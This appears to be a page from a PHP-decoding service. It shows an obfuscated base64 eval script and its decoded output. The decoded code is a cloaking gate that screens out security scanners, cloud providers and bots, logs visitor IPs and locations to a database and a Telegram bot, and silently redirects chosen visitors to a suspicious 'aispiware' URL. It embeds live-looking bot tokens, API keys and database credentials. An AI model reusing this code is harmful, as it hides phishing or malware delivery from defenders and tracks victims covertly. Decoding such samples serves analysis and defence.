Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('PD9waHAKICAgICR0ZWxlZ3JhbUJvdFRva2VuID0gJzcwODE2ODA1OTg6QUFFRnFF..
Decoded Output download
<?php
$telegramBotToken = '7081680598:AAEFqEKTHKBgnl7-cXXiP5rS3H38CBJUXAY';
$chatID = '-1001942316651';
$redirectURL = 'https://aispiware-latest.0gp.net/azureai';
$ipQualityToken = 'Ve5SSYgvPy7cx6Sx6Qi4K8wImHyOrWms';
$countryToRedirect = ['US', 'UA', 'GB', 'CN', 'NG', 'ID', 'PK'];
// Set the sleep variable
$sleep = true;
// Obtain visitor's IP address
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Unknown Referrer';
$visitorHostname = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
$apiUrl = "https://ipqualityscore.com/api/json/ip/{$ipQualityToken}/{$visitorHostname}?strictness=2&fast=1";
$dbHost = 'localhost';
$dbUsername = 'hwsr_duppy';
$dbPassword = 'duppy';
$dbName = 'hwsr_kindzaza';
// Function to establish a database connection
function connectToDatabase() {
global $dbHost, $dbUsername, $dbPassword, $dbName;
$conn = new mysqli($dbHost, $dbUsername, $dbPassword, $dbName);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
return $conn;
}
// Function to insert visitor data into the database
function insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType) {
$conn = connectToDatabase();
$ip = $conn->real_escape_string($visitorHostname);
$hostname = isset($data['host']) ? $conn->real_escape_string($data['host']) : '';
$city = isset($data['city']) ? $conn->real_escape_string($data['city']) : '';
$region = isset($data['region']) ? $conn->real_escape_string($data['region']) : '';
$country = isset($data['country_code']) ? $conn->real_escape_string($data['country_code']) : '';
$timezone = isset($data['timezone']) ? $conn->real_escape_string($data['timezone']) : '';
$companyName = isset($data['ISP']) ? $conn->real_escape_string($data['ISP']) : '';
$companyDomain = isset($data['organization']) ? $conn->real_escape_string($data['organization']) : '';
$fraud_score = isset($data['fraud_score']) ? $conn->real_escape_string($data['fraud_score']) : '';
$sql = "INSERT INTO visitor_data (ip, hostname, city, region, country, timezone, company_name, company_domain, fraud_score, action, referral, project, destination, page, device)
VALUES ('$ip', '$hostname', '$city', '$region', '$country', '$timezone', '$companyName', '$companyDomain', '$fraud_score', '$action', '$referrer', '$domainNameVariable', '$destination', '$page', '$deviceType')";
if ($conn->query($sql) !== TRUE) {
echo "Error: " . $sql . "<br>" . $conn->error;
}
$conn->close();
}
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $apiUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute cURL request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'Curl error: ' . curl_error($ch);
}
// Close cURL session
curl_close($ch);
// Check if company names like Amazon, Google, Digital Ocean, or Sparklight are found in the response
$companyNames = ['Amazon', 'Google', 'Digital Ocean', 'Facebook', 'Microsoft', 'Censys'];
$detectedCompany = '';
foreach ($companyNames as $company) {
if (stripos($response, $company) !== false) {
$detectedCompany = $company;
break;
}
}
// Function to extract domain name and relative document name
function extractDomainAndPage($url) {
// Extract domain name using regular expression
preg_match('/^(?:https?:\/\/)?(?:[^@
]+@)?(?:www\.)?([^:\/
?]+)([^#?]+)/', $url, $matches);
// Get the domain name from the matched result
$domain = $matches[1];
$page = $matches[2];
// Remove www and any subdomains
$domainParts = explode('.', $domain);
if (count($domainParts) > 2 && $domainParts[0] !== 'www') {
// If there are subdomains, use the first part as the domain name
$domain = $domainParts[0];
} else {
// Otherwise, use the entire domain
$domain = $domainParts[0];
}
// Convert to lowercase and return
return array(strtolower($domain), $page);
}
// Get the current URL dynamically
$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
// Extract domain name and relative document name
list($domainName, $page) = extractDomainAndPage($currentUrl);
// Store the name in a variable
$domainNameVariable = str_replace(' ', '', ucwords($domainName));
// Function to detect the device type based on the user agent string
function detectDeviceType($userAgent) {
$tabletDevices = array('iPad', 'Android', 'tablet', 'Kindle', 'Silk', 'PlayBook');
$mobileDevices = array('iPhone', 'Android', 'webOS', 'BlackBerry', 'Windows Phone', 'Mobile');
// Check if the user agent contains any tablet device keywords
foreach ($tabletDevices as $device) {
if (stripos($userAgent, $device) !== false) {
return 'Tablet';
}
}
// Check if the user agent contains any mobile device keywords
foreach ($mobileDevices as $device) {
if (stripos($userAgent, $device) !== false) {
return 'Mobile';
}
}
// If not a tablet or mobile device, consider it a desktop
return 'Desktop';
}
// Get the user agent string
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// Detect the device type
$deviceType = detectDeviceType($userAgent);
// Decode the JSON response
$data = json_decode($response, true);
// Extract relevant information
$fraudScore = $data['fraud_score'] ?? null;
$isCrawler = $data['is_crawler'] ?? null;
$recentAbuse = $data['recent_abuse'] ?? null;
$botStatus = $data['bot_status'] ?? null;
$countryCode = $data['country_code'] ?? null;
$host = $data['host'] ?? null;
// Prepare message to send to Telegram
$message = " Visitor Details: {$domainNameVariable}
";
$message .= " page: {$page}
";
$message .= " Country: {$countryCode}
";
$message .= " IP Address: {$visitorHostname}
";
$message .= " Host: {$host}
";
$message .= " Device Type: {$deviceType}
";
$message .= " Refferal : {$referrer}
";
// Include fraud score if available
if (!is_null($fraudScore)) {
$message .= " Fraud Score: {$fraudScore}
";
}
// Include additional details if available
if ($isCrawler) {
$message .= " Visitor is a web crawler
";
}
if ($recentAbuse) {
$message .= " Visitor has recent abuse
";
}
if ($botStatus) {
$message .= " Visitor bot status is true
";
}
// Include company name if detected
if (!empty($detectedCompany)) {
$message .= " Company detected: {$detectedCompany}
";
}
// Check if the country code is not US or AU
if (!in_array($countryCode, $countryToRedirect)) {
$replyID = 6;
$action = 'DNT';
$message .= " Country Not: " . implode(' OR ', $countryToRedirect) . "
";
$message .= "Visitor has been prevented from continuing the project {$domainNameVariable}";
$destination = "Stale fish";
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
} elseif (!empty($detectedCompany) || $fraudScore > 70 || $isCrawler || $botStatus || $recentAbuse) {
$redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
$country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
$replyID = 2;
$action = 'DNT';
$message .= " Detected Company or a violation
";
$message .= "Visitor has been prevented from visiting: {$redirectURL}";
$destination = $redirectURL;
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
} else {
// Conditionally execute loadPageContent based on the value of $sleep
if ($sleep) {
$replyID = 6;
$action = 'DNT';
$message .= " Code is asleep";
$destination = "code is asleep";
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
} else {
$redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
$country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
$replyID = 4;
$action = 'SENT';
$message .= " Visitor from {$country} has been redirected to: {$redirectURL}";
// Send message to Telegram
$destination = $redirectURL;
sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
// Call the function to perform the silent redirect
redirectToUrl($redirectURL);
}
}
// Send message to Telegram
sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
// Function to send message to Telegram with the right reply ID
function sendMessageToTelegram($token, $chatID, $message, $replyID) {
$telegramApiUrl = "https://api.telegram.org/bot{$token}/sendMessage";
$params = array(
'chat_id' => $chatID,
'text' => $message,
'reply_to_message_id' => $replyID
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Telegram API error: ' . curl_error($ch);
}
curl_close($ch);
}
// Function to perform a silent redirect to the specified URL
function redirectToUrl($url) {
// Send a redirect header without any notification
header("Location: $url");
// Terminate the script execution
exit();
}
?>
Did this file decode correctly?
Original Code
<?php eval(base64_decode('PD9waHAKICAgICR0ZWxlZ3JhbUJvdFRva2VuID0gJzcwODE2ODA1OTg6QUFFRnFFS1RIS0Jnbmw3LWNYWGlQNXJTM0gzOENCSlVYQVknOwogICAgJGNoYXRJRCA9ICctMTAwMTk0MjMxNjY1MSc7CiAgICAkcmVkaXJlY3RVUkwgPSAnaHR0cHM6Ly9haXNwaXdhcmUtbGF0ZXN0LjBncC5uZXQvYXp1cmVhaSc7IAogICAgJGlwUXVhbGl0eVRva2VuID0gJ1ZlNVNTWWd2UHk3Y3g2U3g2UWk0Szh3SW1IeU9yV21zJzsKICAgICRjb3VudHJ5VG9SZWRpcmVjdCA9IFsnVVMnLCAnVUEnLCAnR0InLCAnQ04nLCAnTkcnLCAnSUQnLCAnUEsnXTsKICAgIAogICAgLy8gU2V0IHRoZSBzbGVlcCB2YXJpYWJsZQogICAgJHNsZWVwID0gdHJ1ZTsKICAgIAogICAgLy8gT2J0YWluIHZpc2l0b3IncyBJUCBhZGRyZXNzCiAgICAkcmVmZXJyZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogJ1Vua25vd24gUmVmZXJyZXInOwogICAgJHZpc2l0b3JIb3N0bmFtZSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXSkgPyAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ10gOiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICRhcGlVcmwgPSAiaHR0cHM6Ly9pcHF1YWxpdHlzY29yZS5jb20vYXBpL2pzb24vaXAveyRpcFF1YWxpdHlUb2tlbn0veyR2aXNpdG9ySG9zdG5hbWV9P3N0cmljdG5lc3M9MiZmYXN0PTEiOwogICAgCiAgICAkZGJIb3N0ID0gJ2xvY2FsaG9zdCc7CiAgICAkZGJVc2VybmFtZSA9ICdod3NyX2R1cHB5JzsKICAgICRkYlBhc3N3b3JkID0gJ2R1cHB5JzsKICAgICRkYk5hbWUgPSAnaHdzcl9raW5kemF6YSc7CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIGVzdGFibGlzaCBhIGRhdGFiYXNlIGNvbm5lY3Rpb24KICAgIGZ1bmN0aW9uIGNvbm5lY3RUb0RhdGFiYXNlKCkgewogICAgICAgIGdsb2JhbCAkZGJIb3N0LCAkZGJVc2VybmFtZSwgJGRiUGFzc3dvcmQsICRkYk5hbWU7CiAgICAgICAgJGNvbm4gPSBuZXcgbXlzcWxpKCRkYkhvc3QsICRkYlVzZXJuYW1lLCAkZGJQYXNzd29yZCwgJGRiTmFtZSk7CiAgICAgICAgaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICAgICAgICAgIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkY29ubjsKICAgIH0KICAgIAogICAgLy8gRnVuY3Rpb24gdG8gaW5zZXJ0IHZpc2l0b3IgZGF0YSBpbnRvIHRoZSBkYXRhYmFzZQogICAgZnVuY3Rpb24gaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpIHsKICAgICAgICAkY29ubiA9IGNvbm5lY3RUb0RhdGFiYXNlKCk7CiAgICAgICAgJGlwID0gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkdmlzaXRvckhvc3RuYW1lKTsKICAgICAgICAkaG9zdG5hbWUgPSBpc3NldCgkZGF0YVsnaG9zdCddKSA/ICRjb25uLT5yZWFsX2VzY2FwZV9zdHJpbmcoJGRhdGFbJ2hvc3QnXSkgOiAnJzsKICAgICAgICAkY2l0eSA9IGlzc2V0KCRkYXRhWydjaXR5J10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnY2l0eSddKSA6ICcnOwogICAgICAgICRyZWdpb24gPSBpc3NldCgkZGF0YVsncmVnaW9uJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsncmVnaW9uJ10pIDogJyc7CiAgICAgICAgJGNvdW50cnkgPSBpc3NldCgkZGF0YVsnY291bnRyeV9jb2RlJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnY291bnRyeV9jb2RlJ10pIDogJyc7CiAgICAgICAgJHRpbWV6b25lID0gaXNzZXQoJGRhdGFbJ3RpbWV6b25lJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsndGltZXpvbmUnXSkgOiAnJzsKICAgICAgICAkY29tcGFueU5hbWUgPSBpc3NldCgkZGF0YVsnSVNQJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnSVNQJ10pIDogJyc7CiAgICAgICAgJGNvbXBhbnlEb21haW4gPSBpc3NldCgkZGF0YVsnb3JnYW5pemF0aW9uJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnb3JnYW5pemF0aW9uJ10pIDogJyc7CiAgICAgICAgJGZyYXVkX3Njb3JlID0gaXNzZXQoJGRhdGFbJ2ZyYXVkX3Njb3JlJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnZnJhdWRfc2NvcmUnXSkgOiAnJzsKICAgIAogICAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gdmlzaXRvcl9kYXRhIChpcCwgaG9zdG5hbWUsIGNpdHksIHJlZ2lvbiwgY291bnRyeSwgdGltZXpvbmUsIGNvbXBhbnlfbmFtZSwgY29tcGFueV9kb21haW4sIGZyYXVkX3Njb3JlLCBhY3Rpb24sIHJlZmVycmFsLCBwcm9qZWN0LCBkZXN0aW5hdGlvbiwgcGFnZSwgZGV2aWNlKSAKICAgICAgICAgICAgICAgIFZBTFVFUyAoJyRpcCcsICckaG9zdG5hbWUnLCAnJGNpdHknLCAnJHJlZ2lvbicsICckY291bnRyeScsICckdGltZXpvbmUnLCAnJGNvbXBhbnlOYW1lJywgJyRjb21wYW55RG9tYWluJywgJyRmcmF1ZF9zY29yZScsICckYWN0aW9uJywgJyRyZWZlcnJlcicsICckZG9tYWluTmFtZVZhcmlhYmxlJywgJyRkZXN0aW5hdGlvbicsICckcGFnZScsICckZGV2aWNlVHlwZScpIjsKICAgICAgICBpZiAoJGNvbm4tPnF1ZXJ5KCRzcWwpICE9PSBUUlVFKSB7CiAgICAgICAgICAgIGVjaG8gIkVycm9yOiAiIC4gJHNxbCAuICI8YnI+IiAuICRjb25uLT5lcnJvcjsKICAgICAgICB9CiAgICAgICAgJGNvbm4tPmNsb3NlKCk7CiAgICB9CiAgICAKICAgIC8vIEluaXRpYWxpemUgY1VSTCBzZXNzaW9uCiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIAogICAgLy8gU2V0IGNVUkwgb3B0aW9ucwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJGFwaVVybCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgCiAgICAvLyBFeGVjdXRlIGNVUkwgcmVxdWVzdAogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAKICAgIC8vIENoZWNrIGZvciBlcnJvcnMKICAgIGlmIChjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICBlY2hvICdDdXJsIGVycm9yOiAnIC4gY3VybF9lcnJvcigkY2gpOwogICAgfQogICAgCiAgICAvLyBDbG9zZSBjVVJMIHNlc3Npb24KICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIAogICAgLy8gQ2hlY2sgaWYgY29tcGFueSBuYW1lcyBsaWtlIEFtYXpvbiwgR29vZ2xlLCBEaWdpdGFsIE9jZWFuLCBvciBTcGFya2xpZ2h0IGFyZSBmb3VuZCBpbiB0aGUgcmVzcG9uc2UKICAgICRjb21wYW55TmFtZXMgPSBbJ0FtYXpvbicsICdHb29nbGUnLCAnRGlnaXRhbCBPY2VhbicsICdGYWNlYm9vaycsICdNaWNyb3NvZnQnLCAnQ2Vuc3lzJ107CiAgICAkZGV0ZWN0ZWRDb21wYW55ID0gJyc7CiAgICBmb3JlYWNoICgkY29tcGFueU5hbWVzIGFzICRjb21wYW55KSB7CiAgICAgICAgaWYgKHN0cmlwb3MoJHJlc3BvbnNlLCAkY29tcGFueSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRkZXRlY3RlZENvbXBhbnkgPSAkY29tcGFueTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBGdW5jdGlvbiB0byBleHRyYWN0IGRvbWFpbiBuYW1lIGFuZCByZWxhdGl2ZSBkb2N1bWVudCBuYW1lCiAgICBmdW5jdGlvbiBleHRyYWN0RG9tYWluQW5kUGFnZSgkdXJsKSB7CiAgICAgICAgLy8gRXh0cmFjdCBkb21haW4gbmFtZSB1c2luZyByZWd1bGFyIGV4cHJlc3Npb24KICAgICAgICBwcmVnX21hdGNoKCcvXig/Omh0dHBzPzpcL1wvKT8oPzpbXkAKXStAKT8oPzp3d3dcLik/KFteOlwvCj9dKykoW14jP10rKS8nLCAkdXJsLCAkbWF0Y2hlcyk7CiAgICAKICAgICAgICAvLyBHZXQgdGhlIGRvbWFpbiBuYW1lIGZyb20gdGhlIG1hdGNoZWQgcmVzdWx0CiAgICAgICAgJGRvbWFpbiA9ICRtYXRjaGVzWzFdOwogICAgICAgICRwYWdlID0gJG1hdGNoZXNbMl07CiAgICAKICAgICAgICAvLyBSZW1vdmUgd3d3IGFuZCBhbnkgc3ViZG9tYWlucwogICAgICAgICRkb21haW5QYXJ0cyA9IGV4cGxvZGUoJy4nLCAkZG9tYWluKTsKICAgICAgICBpZiAoY291bnQoJGRvbWFpblBhcnRzKSA+IDIgJiYgJGRvbWFpblBhcnRzWzBdICE9PSAnd3d3JykgewogICAgICAgICAgICAvLyBJZiB0aGVyZSBhcmUgc3ViZG9tYWlucywgdXNlIHRoZSBmaXJzdCBwYXJ0IGFzIHRoZSBkb21haW4gbmFtZQogICAgICAgICAgICAkZG9tYWluID0gJGRvbWFpblBhcnRzWzBdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIE90aGVyd2lzZSwgdXNlIHRoZSBlbnRpcmUgZG9tYWluCiAgICAgICAgICAgICRkb21haW4gPSAkZG9tYWluUGFydHNbMF07CiAgICAgICAgfQogICAgCiAgICAgICAgLy8gQ29udmVydCB0byBsb3dlcmNhc2UgYW5kIHJldHVybgogICAgICAgIHJldHVybiBhcnJheShzdHJ0b2xvd2VyKCRkb21haW4pLCAkcGFnZSk7CiAgICB9CiAgICAKICAgIC8vIEdldCB0aGUgY3VycmVudCBVUkwgZHluYW1pY2FsbHkKICAgICRjdXJyZW50VXJsID0gKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PT0gJ29uJyA/ICJodHRwcyIgOiAiaHR0cCIpIC4gIjovLyIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgIAogICAgLy8gRXh0cmFjdCBkb21haW4gbmFtZSBhbmQgcmVsYXRpdmUgZG9jdW1lbnQgbmFtZQogICAgbGlzdCgkZG9tYWluTmFtZSwgJHBhZ2UpID0gZXh0cmFjdERvbWFpbkFuZFBhZ2UoJGN1cnJlbnRVcmwpOwogICAgCiAgICAvLyBTdG9yZSB0aGUgbmFtZSBpbiBhIHZhcmlhYmxlCiAgICAkZG9tYWluTmFtZVZhcmlhYmxlID0gc3RyX3JlcGxhY2UoJyAnLCAnJywgdWN3b3JkcygkZG9tYWluTmFtZSkpOwogICAgCiAgICAvLyBGdW5jdGlvbiB0byBkZXRlY3QgdGhlIGRldmljZSB0eXBlIGJhc2VkIG9uIHRoZSB1c2VyIGFnZW50IHN0cmluZwogICAgZnVuY3Rpb24gZGV0ZWN0RGV2aWNlVHlwZSgkdXNlckFnZW50KSB7CiAgICAgICAgJHRhYmxldERldmljZXMgPSBhcnJheSgnaVBhZCcsICdBbmRyb2lkJywgJ3RhYmxldCcsICdLaW5kbGUnLCAnU2lsaycsICdQbGF5Qm9vaycpOwogICAgICAgICRtb2JpbGVEZXZpY2VzID0gYXJyYXkoJ2lQaG9uZScsICdBbmRyb2lkJywgJ3dlYk9TJywgJ0JsYWNrQmVycnknLCAnV2luZG93cyBQaG9uZScsICdNb2JpbGUnKTsKICAgICAgICAKICAgICAgICAvLyBDaGVjayBpZiB0aGUgdXNlciBhZ2VudCBjb250YWlucyBhbnkgdGFibGV0IGRldmljZSBrZXl3b3JkcwogICAgICAgIGZvcmVhY2ggKCR0YWJsZXREZXZpY2VzIGFzICRkZXZpY2UpIHsKICAgICAgICAgICAgaWYgKHN0cmlwb3MoJHVzZXJBZ2VudCwgJGRldmljZSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJ1RhYmxldCc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gQ2hlY2sgaWYgdGhlIHVzZXIgYWdlbnQgY29udGFpbnMgYW55IG1vYmlsZSBkZXZpY2Uga2V5d29yZHMKICAgICAgICBmb3JlYWNoICgkbW9iaWxlRGV2aWNlcyBhcyAkZGV2aWNlKSB7CiAgICAgICAgICAgIGlmIChzdHJpcG9zKCR1c2VyQWdlbnQsICRkZXZpY2UpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICdNb2JpbGUnOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIElmIG5vdCBhIHRhYmxldCBvciBtb2JpbGUgZGV2aWNlLCBjb25zaWRlciBpdCBhIGRlc2t0b3AKICAgICAgICByZXR1cm4gJ0Rlc2t0b3AnOwogICAgfQogICAgCiAgICAvLyBHZXQgdGhlIHVzZXIgYWdlbnQgc3RyaW5nCiAgICAkdXNlckFnZW50ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwogICAgCiAgICAvLyBEZXRlY3QgdGhlIGRldmljZSB0eXBlCiAgICAkZGV2aWNlVHlwZSA9IGRldGVjdERldmljZVR5cGUoJHVzZXJBZ2VudCk7CiAgICAKICAgIC8vIERlY29kZSB0aGUgSlNPTiByZXNwb25zZQogICAgJGRhdGEgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UsIHRydWUpOwogICAgCiAgICAvLyBFeHRyYWN0IHJlbGV2YW50IGluZm9ybWF0aW9uCiAgICAkZnJhdWRTY29yZSA9ICRkYXRhWydmcmF1ZF9zY29yZSddID8/IG51bGw7CiAgICAkaXNDcmF3bGVyID0gJGRhdGFbJ2lzX2NyYXdsZXInXSA/PyBudWxsOwogICAgJHJlY2VudEFidXNlID0gJGRhdGFbJ3JlY2VudF9hYnVzZSddID8/IG51bGw7CiAgICAkYm90U3RhdHVzID0gJGRhdGFbJ2JvdF9zdGF0dXMnXSA/PyBudWxsOwogICAgJGNvdW50cnlDb2RlID0gJGRhdGFbJ2NvdW50cnlfY29kZSddID8/IG51bGw7CiAgICAkaG9zdCA9ICRkYXRhWydob3N0J10gPz8gbnVsbDsKICAgIAogICAgLy8gUHJlcGFyZSBtZXNzYWdlIHRvIHNlbmQgdG8gVGVsZWdyYW0KICAgICRtZXNzYWdlID0gIvCflbggVmlzaXRvciBEZXRhaWxzOiB7JGRvbWFpbk5hbWVWYXJpYWJsZX0gXG4iOwogICAgJG1lc3NhZ2UgLj0gIvCfk5wgcGFnZTogeyRwYWdlfSBcbiI7CiAgICAkbWVzc2FnZSAuPSAiIENvdW50cnk6IHskY291bnRyeUNvZGV9XG4iOwogICAgJG1lc3NhZ2UgLj0gIiBJUCBBZGRyZXNzOiB7JHZpc2l0b3JIb3N0bmFtZX1cbiI7CiAgICAkbWVzc2FnZSAuPSAi8J+XhCBIb3N0OiB7JGhvc3R9XG4iOwogICAgJG1lc3NhZ2UgLj0gIu+4jyBEZXZpY2UgVHlwZTogeyRkZXZpY2VUeXBlfSBcbiI7CiAgICAkbWVzc2FnZSAuPSAi4p2EIFJlZmZlcmFsIDogeyRyZWZlcnJlcn0gXG4iOwogICAgCiAgICAvLyBJbmNsdWRlIGZyYXVkIHNjb3JlIGlmIGF2YWlsYWJsZQogICAgaWYgKCFpc19udWxsKCRmcmF1ZFNjb3JlKSkgewogICAgICAgICRtZXNzYWdlIC49ICIgRnJhdWQgU2NvcmU6IHskZnJhdWRTY29yZX1cbiI7CiAgICB9CiAgICAKICAgIC8vIEluY2x1ZGUgYWRkaXRpb25hbCBkZXRhaWxzIGlmIGF2YWlsYWJsZQogICAgaWYgKCRpc0NyYXdsZXIpIHsKICAgICAgICAkbWVzc2FnZSAuPSAiIFZpc2l0b3IgaXMgYSB3ZWIgY3Jhd2xlclxuIjsKICAgIH0KICAgIAogICAgaWYgKCRyZWNlbnRBYnVzZSkgewogICAgICAgICRtZXNzYWdlIC49ICLwn46vIFZpc2l0b3IgaGFzIHJlY2VudCBhYnVzZVxuIjsKICAgIH0KICAgIAogICAgaWYgKCRib3RTdGF0dXMpIHsKICAgICAgICAkbWVzc2FnZSAuPSAiIFZpc2l0b3IgYm90IHN0YXR1cyBpcyB0cnVlXG4iOwogICAgfQogICAgCiAgICAvLyBJbmNsdWRlIGNvbXBhbnkgbmFtZSBpZiBkZXRlY3RlZAogICAgaWYgKCFlbXB0eSgkZGV0ZWN0ZWRDb21wYW55KSkgewogICAgICAgICRtZXNzYWdlIC49ICIgQ29tcGFueSBkZXRlY3RlZDogeyRkZXRlY3RlZENvbXBhbnl9XG4iOwogICAgfQogICAgCiAgICAvLyBDaGVjayBpZiB0aGUgY291bnRyeSBjb2RlIGlzIG5vdCBVUyBvciBBVQogICAgaWYgKCFpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkpIHsKICAgICAgICAkcmVwbHlJRCA9IDY7CiAgICAgICAgJGFjdGlvbiA9ICdETlQnOwogICAgICAgICRtZXNzYWdlIC49ICLwn5+oIENvdW50cnkgTm90OiAiIC4gaW1wbG9kZSgnIE9SICcsICRjb3VudHJ5VG9SZWRpcmVjdCkgLiAiXG4iOwogICAgICAgICRtZXNzYWdlIC49ICJWaXNpdG9yIGhhcyBiZWVuIHByZXZlbnRlZCBmcm9tIGNvbnRpbnVpbmcgdGhlIHByb2plY3QgeyRkb21haW5OYW1lVmFyaWFibGV9IjsKICAgICAgICAkZGVzdGluYXRpb24gPSAiU3RhbGUgZmlzaCI7CiAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpOwogICAgCiAgICB9IGVsc2VpZiAoIWVtcHR5KCRkZXRlY3RlZENvbXBhbnkpIHx8ICRmcmF1ZFNjb3JlID4gNzAgfHwgJGlzQ3Jhd2xlciB8fCAkYm90U3RhdHVzIHx8ICRyZWNlbnRBYnVzZSkgewogICAgCiAgICAgICAgJHJlZGlyZWN0VVJMID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJHJlZGlyZWN0VVJMIDogJHNlY29uZFJlZGlyZWN0VVJMOwogICAgICAgICRjb3VudHJ5ID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJGNvdW50cnlUb1JlZGlyZWN0IDogJHNlY29uZENvdW50cnlUb1JlZGlyZWN0OwogICAgCiAgICAgICAgJHJlcGx5SUQgPSAyOwogICAgICAgICRhY3Rpb24gPSAnRE5UJzsKICAgICAgICAkbWVzc2FnZSAuPSAi4p2MIERldGVjdGVkIENvbXBhbnkgb3IgYSB2aW9sYXRpb25cbiI7CiAgICAgICAgJG1lc3NhZ2UgLj0gIlZpc2l0b3IgaGFzIGJlZW4gcHJldmVudGVkIGZyb20gdmlzaXRpbmc6IHskcmVkaXJlY3RVUkx9IjsKICAgICAgICAkZGVzdGluYXRpb24gPSAkcmVkaXJlY3RVUkw7CiAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldml